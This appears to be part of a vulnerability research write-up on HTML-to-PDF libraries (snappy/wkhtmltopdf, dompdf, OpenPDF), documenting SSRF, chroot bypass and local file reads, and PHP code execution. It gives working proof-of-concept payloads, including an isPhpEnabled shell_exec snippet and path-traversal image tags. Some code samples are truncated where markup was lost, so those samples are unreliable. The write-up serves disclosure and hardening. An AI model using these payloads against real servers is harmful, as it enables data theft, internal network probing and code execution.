$ sudo dpkg -i ./wkhtmltox_0.12.6.1-3.jammy_amd64.deb
```

Both KnpLabs/snappy and wkhtmltopdf vendors **warn** that any user-supplied HTML data must be sanitized.

[image: image]

Figure 24. Snappy vendor's response

Intentional behavior 1. Server-Side Request Forgery

Researcher: Nikita Sveshnikov

KnpLabs/snappy saves the provided HTML to a file and then processes it using wkhtmltopdf. The wkhtmltopdf library then sends requests to external and internal URLs and ports.

Behavior depends on the tag used:

- The `iframe` tag (*marker 1*) enables full Server-Side Request Forgery.
- The `<img>` tag enables Server-Side Request Forgery (Blind SSRF) (*marker 2*).

Web application source code

```

<?php
require_once __DIR__ . '/vendor/autoload.php';

use Knp\Snappy\Pdf;

$wkhtmltopdfPath = '/usr/local/bin/wkhtmltopdf';

$maliciousHtmlPayload = <<<HTML
    <iframe src="https://postman-echo.com/get" width="600" height="400"></iframe> <!-- marker 1 -->
     <!-- marker 2 -->
HTML;

$pdf = new Pdf($wkhtmltopdfPath);
$pdfContent = $pdf->getOutputFromHtml($maliciousHtmlPayload);

header('Content-Type: application/pdf');
header('Content-Disposition: inline; filename="output.pdf"');
echo $pdfContent;

```

Example of successfully obtaining and viewing a server response in the generated PDF with the help of the iframe tag:

[\[image: image\]](#)

Figure 25. Demonstration of server-side request execution

Misconfiguration

Misconfiguration 1. Files or Directories Accessible to External Parties

Researcher: Nikita Sveshnikov

If `enable-local-file-access` is set (*marker 1*), the library allows us to embed local images into the generated PDF.

Note on paths The snappy and wkhtmltopdf libraries do not sanitize paths, allowing path traversal. However, by default the current directory for snappy is `"."`.

Web application source code

```

<?php
require_once __DIR__ . '/vendor/autoload.php';

use Knp\Snappy\Pdf;

$wkhtmltopdfPath = '/usr/bin/wkhtmltopdf';

// HTML payload
$maliciousHtmlPayload = <<<HTML
<image src="/tmp/user_files/user_1/private_image.jpg">
HTML;

$pdf = new Pdf($wkhtmltopdfPath);
$pdf->setOption('enable-local-file-access', true); // marker 1
$pdfContent = $pdf->getOutputFromHtml($maliciousHtmlPayload);

header('Content-Type: application/pdf');
header('Content-Disposition: inline; filename="output.pdf"');
echo $pdfContent;

```

Demonstration of embedding an arbitrary image into the generated PDF file.

[\[image: image\]](#)

Figure 26. Demonstration of embedding an arbitrary image into the generated PDF file

The dompdf/dompdf library

Description

[\[image: image\]](#)

The [dompdf/dompdf](#) library is an open-source PHP library that converts HTML to PDF. It is a style-driven renderer: it downloads and reads external stylesheets, inline style tags, and the style attributes of individual HTML elements. It also supports most presentational HTML attributes.

Detected vulnerabilities

Vulnerability 1. Files or Directories Accessible to External Parties via a data-URI SVG image and the xlink:href attribute

Researcher: Nikita Sveshnikov

Description

Special HTML markup supplied by an external source allows an attacker to read an arbitrary image from the target server's file system and embed it into the generated PDF, bypassing the chroot

restriction. This becomes possible because an SVG image delivered as a data-URI is pre-validated using the protocol of the outer document, so the image references nested inside it escape the `file://` chroot checks that would normally apply, and are instead read by the bundled SVG renderer without any chroot awareness at all. Unlike the misconfigurations described below, the vulnerability is exploitable in the default configuration.

We will demonstrate the exploitation of this vulnerability on version 3.1.5 of the dompdf/dompdf library.

Installing the vulnerable version of the library

```
$ composer require dompdf/dompdf:3.1.5
```

Technical details

Before dompdf ever draws an SVG onto the page, it runs the file through a pre-scan meant to validate every nested image reference against the chroot. This happens in `Cache::resolve_url`. Once the outer SVG is recognized, dompdf walks it looking for image tags and, for each `xlink:href`, calls `Helpers::build_url` using the protocol, host, and path of the outer document (marker 1). For an SVG delivered as a `data:image/svg+xml;base64,...` URI, that inherited protocol is `data://`, not `file://`.

The `Cache::resolve_url` method


```

class Cache
{
    ...
    static function resolve_url($url, $protocol, $host, $base_path, Options $options)
    {
        ...
        if ($type === "svg") {
            ...
            xml_set_element_handler(
                $parser,
                function ($parser, $name, $attributes) use ($options, $parsed_url, $full_url) {
                    if (strtolower($name) === "image") {
                        ...
                        foreach ($urls as $url) {
                            if (empty($url)) {
                                continue;
                            }

                            $inner_full_url = Helpers::build_url($parsed_url["protocol"], $parsed_url["host"], $parsed_url["path"], $url, $options);
                            if (empty($inner_full_url)) { // marker 2
                                continue;
                            }

                            self::detectCircularRef($full_url, $inner_full_url);
                            self::$svgRefs[$full_url][] = $inner_full_url;
                            [$resolved_url, $type, $message] = self::resolve_url($url, $parsed_url["protocol"], $parsed_url["host"], $parsed_url["path"], $options);
                            ...
                        }
                    }
                },
                null
            );
            ...
        }
        ...
    }
}

```

Inside `build_url`, only an empty protocol is normalized to `file://` (marker 1). Since the inherited protocol here is `data://`, not empty, it is left untouched. The `realpath()`-and-`chroot` branch is entered only for `file://` and `phar://` (marker 2), so it is skipped entirely. Execution instead falls into the generic remote-URL branch, which concatenates the protocol, host, and path into a string such

as `data:///tmp/user_files/user_1/private_image.jpg` (marker 3) and hands it to PHP's own `parse_url` for final cleanup. `parse_url` rejects this malformed scheme-and-path combination, so `build_url` ends up returning an empty string rather than a resolved path.

The `Helpers::build_url` method

```
class Helpers
{
    ...
    public static function build_url($protocol, $host, $base_path, $url, $chrootDirs = [])
    {
        $protocol = mb_strtolower($protocol, "UTF-8");
        if (empty($protocol)) { // marker 1
            $protocol = "file:///";
        }
        ...
        $is_local_path = in_array($protocol, ["file://", "phar://"], true); // marker 2

        if ($is_local_path) {
            ...
        }

        $ret = $protocol;
        ...
        elseif ($url[0] === '/' || $url[0] === '\\') {
            // Absolute path
            $ret .= $host . $url; // marker 3
        }
        ...
        // URL should now be complete, final cleanup
        $parsed_url = parse_url($ret);
        ...
        $ret = "$scheme$user$pass$host$port$path$query$fragment";

        return $ret;
    }
    ...
}
```

Back in the pre-scan, an empty `$inner_full_url` is treated the same as “there is nothing here to check.” The handler continues to the next attribute (marker 2 in the `Cache` snippet above) instead of rejecting the document. No exception is thrown either way, and the SVG is allowed to proceed exactly as if it contained no external reference at all.

That would be harmless on its own if the pre-scan were the only place dompdf reads the reference, but it isn't. When dompdf actually draws the SVG onto the PDF page, it hands the file to a second, independent code path, `Cpdf::addSvgFromFile`. This method builds a fresh php-svg-lib `\Svg\Document`, explicitly sets `allowExternalReferences` to `true` (marker 1) so the bundled renderer will follow legitimate image references at all, and calls `$doc->render()` with a PDF-drawing surface. The `Cpdf::addSvgFromFile` method

```
class Cpdf
{
    ...
    function addSvgFromFile($file, $x, $y, $w = 0, $h = 0)
    {
        $doc = new \Svg\Document();
        if (property_exists($doc, 'allowExternalReferences')) {
            $doc->allowExternalReferences = true; // marker 1
        }
        $doc->loadFile($file);
        ...
        $surface = new \Svg\Surface\SurfaceCpdf($doc, $this);
        $doc->render($surface); // marker 2
        ...
    }
    ...
}
```

php-svg-lib's own image tag handler only refuses `phar://` references and, when `allowExternalReferences` is `false`, non-`data:` schemes (marker 1 below). With `allowExternalReferences` forced `true` by dompdf, neither condition applies, and it calls straight through to the surface's `drawImage`:

The php-svg-lib `Image` tag handler

```

class Image extends AbstractTag
{
    ...
    public function start($attributes)
    {
        ...
        $scheme = strtolower(parse_url($this->href, PHP_URL_SCHEME) ?: "");
        if (
            $scheme === "phar" || strtolower(substr($this->href, 0, 7)) === "phar://"
            || ($this->document->allowExternalReferences === false && $scheme !== "data") // marker 1
        ){
            return;
        }

        $this->document->getSurface()->drawImage($this->href, $this->x, $this->y, $this->width, $this->height); // marker 2
    }
    ...
}

```

`Surface\SurfaceCpdf::drawImage` reads the reference with a plain `file_get_contents($image)` call. This code has no knowledge of `Dompdf\Options` at all, so `dompdf's chroot` is never consulted here, and the file is read and drawn into the PDF regardless of where it sits on disk. The pre-scan that was supposed to catch this reference fails open, since protocol confusion turns “reject” into “nothing to check,” and the component that actually reads the file has no chroot concept in the first place.

Exploitation

The attacker submits HTML that contains an `img` tag whose `src` attribute is a data-URI SVG. We assume that the payload provided from an external source is already in the `$html` variable.

Web application source code

```

<?php
require_once 'vendor/autoload.php';

use Dompdf\Dompdf;

$dompdf = new Dompdf(); // default configuration, chroot enabled

// Minimal HTML supplied by an external source
$html = '<body> false]);

```

After decoding the Base64-encoded string, we get a valid SVG image that includes the image tag with the `xlink:href` attribute. This attribute contains an absolute path to a private image on the target server, `/tmp/user_files/user_1/private_image.jpg`, which sits outside the chroot.

SVG payload decoded from Base64

```

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="589" height="415">
  <image xlink:href="/tmp/user_files/user_1/private_image.jpg" x="0" y="0" width="589" height="415"/>
</svg>

```

We call the vulnerable server to trigger PDF generation based on the payload in the `$html` variable. If successful, the browser displays a PDF file with an arbitrary private user image retrieved from outside the chroot.

Fix

The vendor fixed this vulnerability on July 20, 2026, and released the version 3.1.6 of the library. The vulnerability was assigned [CVE-2026-56722](#). The fix addresses both halves of the failure. `build_url` now normalizes the `data://` protocol to `file://` (marker 1), so a nested reference is run through the same `realpath()` -and-chroot logic as any other local file. `Cache::resolve_url` now throws, rather than silently skipping, any SVG whose reference `build_url` cannot resolve (marker 2). Neither change alone is sufficient. Without the first, out-of-chroot references still land in the same “unresolvable, so continue” path as before. Without the second, an unresolvable reference is still silently let through to the render step regardless of why it failed to resolve. Together, they ensure a rejected or unresolvable reference aborts the whole SVG before it ever reaches php-svg-lib’s renderer.

Vendor’s patch in version 3.1.6 ([6a58996](#), [bf7b02f](#))

```

class Helpers
{
    ...
    public static function build_url($protocol, $host, $base_path, $url, $chrootDirs = [])
    {
        $protocol = mb_strtolower($protocol, "UTF-8");
        if (empty($protocol) || $protocol === "data://") { // marker 1
            $protocol = "file://";
        }
        ...
    }
    ...
}

class Cache
{
    ...
    $inner_full_url = Helpers::build_url($parsed_url["protocol"], $parsed_url["host"], $parsed_url["path"], $url, $opt
    if (empty($inner_full_url)) {
        throw new ImageException("This SVG document references a resource that could not be resolved.", E_WARNI
    }
    ...
}

```

Misconfiguration

Beyond the vulnerability described above, severe issues have previously been found in dompdf/dompdf by other researchers as well, and the vendor has always promptly addressed such issues. However, misconfigurations can reintroduce dangerous scenarios. Below are the most dangerous scenarios.

The dompdf/dompdf version used in this research is 3.1.0.

Installing a specific version of dompdf/dompdf

```
$ composer require dompdf/dompdf:3.1.0
```

Misconfiguration 1. Remote code execution (RCE)

Researcher: Nikita Sveshnikov

If `isPhpEnabled` is set to true (*marker 1*), dompdf/dompdf will execute embedded PHP code from the HTML markup.

Web application source code

```
<?php
require_once 'vendor/autoload.php';

use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options->set('isPhpEnabled', true); // marker 1

$dompdf = new Dompdf($options);

// Minimal HTML
$html = '<body><script type="text/php">
file_put_contents("/tmp/rce", shell_exec("id"));
</script></body>';

$dompdf->loadHtml($html);
$dompdf->render();
$dompdf->stream("test_php.pdf", ["Attachment" => false]);
```

Let's read the `/tmp/rce` file to verify that the `id` command was executed.

[\[image: image\]](#)

Misconfiguration 2. Server-Side Request Forgery (Blind SSRF) via the `img` tag and the `src` attribute

Researcher: Nikita Sveshnikov

With `isRemoteEnabled` enabled (*marker 1*), `dompdf/dompdf` will retrieve external files by URL, including images, fonts, and styles. This may lead to SSRF attacks, as the library will attempt to address even internal services of the network.

To mitigate, use `setAllowedRemoteHosts` to restrict `dompdf/dompdf` to a whitelist of domains and IP addresses; the library will only make requests to those hosts.

Web application source code

```
<?php
require_once 'vendor/autoload.php';

use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options->set('isRemoteEnabled', true); // marker 1

$dompdf = new Dompdf($options);

// Minimal HTML
$html = '<body></body>';

$dompdf->loadHtml($html);
$dompdf->render();
$dompdf->stream("test_ssrf.pdf", ["Attachment" => false]);
```

Demonstration of server-side request execution.

[\[image: image\]](#)

Figure 27. Demonstration of server-side request execution

Misconfiguration 3. Files or Directories Accessible to External Parties via the image tag and the src attribute

Researcher: Nikita Sveshnikov

The `setChroot` method restricts library access to a specified directory. If chroot is misconfigured, for example, points too high in the directory tree (see *marker 1*), access breaks out of the dompdf folder, allowing `file://` to read any local files the process can access.

Web application source code


```

<?php
require_once 'vendor/autoload.php';

use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options->setChroot('/'); // marker 1

$dompdf = new Dompdf($options);

// Minimal HTML
$html = '<body></body>';

$dompdf->loadHtml($html);
$dompdf->render();
$dompdf->stream("test_lfr.pdf", ["Attachment" => false]);

```

Demonstration of embedding an arbitrary image into the generated PDF file.

[image: image]

Figure 28. Demonstration of embedding an arbitrary image into the generated PDF file

The LibrePDF/OpenPDF library

Description

[image: image]

LibrePDF/OpenPDF is a free, open-source Java library for creating and editing PDFs, licensed under LGPL and MPL. OpenPDF is a fork of iText.

Intentional behavior

The LibrePDF/OpenPDF developer warns that the library is not a sandboxed or hardened environment. It processes input such as file paths, image sources, font names, and HTML content as-is, without performing input validation, authentication, or permission checks (<https://github.com/LibrePDF/OpenPDF/blob/master/Security.md>).

OpenPDF processes input data such as file paths, image sources, font names, and HTML content as-is, without performing input validation, authentication, or permission checks. It is the sole responsibility of the application developer to ensure that all input passed into OpenPDF is trusted, sanitized, and safe.

Intentional behavior 1. Server-Side Request Forgery (Blind SSRF) and Files or Directories Accessible to External Parties via the img tag and src attribute

Researchers: Aleksey Solovev, Nikita Sveshnikov

In LibrePDF/OpenPDF, the HTMLWorker class does not filter `src` attribute values when parsing `img` tags in HTML. This creates two related risks: embedding local files in the resulting PDF and executing HTTP requests on behalf of the server. If the `src` attribute contains a URL (*marker 2*), the library attempts to fetch the resource from that address. If it contains a path to a local image (*marker 1*), the library embeds the file's contents into the resulting PDF.

Application source code

```
package com.example;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.StringReader;

import com.lowagie.text.Document;
import com.lowagie.text.DocumentException;
import com.lowagie.text.html.simpleparser.HTMLWorker;
import com.lowagie.text.pdf.PdfWriter;

public class App {
    public static void main(String[] args) {
        Document document = new Document();
        try {
            PdfWriter.getInstance(document, new FileOutputStream("output.pdf"));
            document.open();

            String htmlString = "<table cellpadding='20'><tr><td>" +
                "<img src='/tmp/user_files/user_1/private_image.jpg'></td></tr></table>" + // marker 1
                "<img src='http://127.0.0.1:8080/'>"; // marker 2
            HTMLWorker htmlWorker = new HTMLWorker(document);
            htmlWorker.parse(new StringReader(htmlString));
            htmlWorker.close();
        } catch (DocumentException | IOException e) {
            e.printStackTrace();
        } finally {
            if (document != null && document.isOpen()) {
                document.close();
            }
        }
    }
}
```

Note that OpenPDF does not support all HTML features, which can complicate page layout.

[image: image]

Figure 29. Demonstration of server side request execution and embedding an arbitrary image into the generated PDF

Intentional behavior 2. Server-Side Request Forgery (Blind SSRF) and Files or Directories Accessible to External Parties via the img tag and src attribute

Researcher: Nikita Sveshnikov

A similar mechanism exists in the `HtmlParser` class, which likewise accepts unrestricted paths in the `img` tag's `src` attribute, both absolute (*marker 2*) and relative (*marker 1*). `HtmlParser` is susceptible to Blind SSRF (*marker 3*). We'll demonstrate all of this in a single application.

Application source code

```

package com.example;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.StringReader;

import com.lowagie.text.Document;
import com.lowagie.text.DocumentException;
import com.lowagie.text.html.HtmlParser;
import com.lowagie.text.pdf.PdfWriter;

public class App {
    public static void main(String[] args) {
        String htmlContent = "<html>\n" +
            "  <table width='100%' border='0' cellspacing='0' cellpadding='0'>\n" +
            "    <tr>\n" +
            "      <td width='70%'>Relative Path: ../../../../tmp/user_files/user_1/private_image.jpg</td>\n" +
            "      <td><img src='../ ../../../../tmp/user_files/user_1/private_image.jpg'></td>\n" + // marker 1
            "    </tr>\n" +
            "    <tr>\n" +
            "      <td width='70%'>Absolute Path: /tmp/user_files/user_1/private_image.jpg</td>\n" +
            "      <td><img src='/tmp/user_files/user_1/private_image.jpg'></td>\n" + // marker 2
            "    </tr>\n" +
            "  </table>\n" +
            "<img src='http://127.0.0.1:8080/'>" + // marker 3
            "</html>";

        Document document = new Document();

        try {
            PdfWriter.getInstance(document, new FileOutputStream("output.pdf"));
            document.open();
            HtmlParser.parse(document, new StringReader(htmlContent));
        } catch (DocumentException | IOException e) {
            e.printStackTrace();
        } finally {
            if (document != null && document.isOpen()) {
                document.close();
            }
        }
    }
}

```

Demonstration of server side request execution and embedding arbitrary images into the generated PDF.

[image: image]

Figure 30. Demonstration of server side request execution and embedding arbitrary images into the generated PDF

Additional notes

Default images

Sometimes you may not know the absolute or relative paths to private images. One workaround is to embed images that are likely present on the system at known locations into a generated PDF file.

In the figure below, we see images in the `/usr/share/apache2` and `/usr/share/doc` folders. As a proof of concept, you can prepare a list of potential image paths and include them all in the HTML markup passed to the library for PDF rendering.

[image: image]

Conclusion

After reviewing several HTML-to-PDF libraries, we have reached the following conclusions:

- There is a high likelihood of embedding confidential images via absolute or relative paths, potentially exposing private information.
- There is a risk of SSRF attacks to external and internal addresses and ports from the server.
- By deleting files during vulnerability exploitation, an attacker may cause a system DoS or remove files needed for security checks.
- Pay close attention to regular expressions: poorly written expressions can lead to ReDoS (Regex DoS).

Recommendations for developers: keep these libraries up to date, account for their intentional behaviors and potential misconfigurations, and sanitize untrusted input as needed.

Thank you for reading!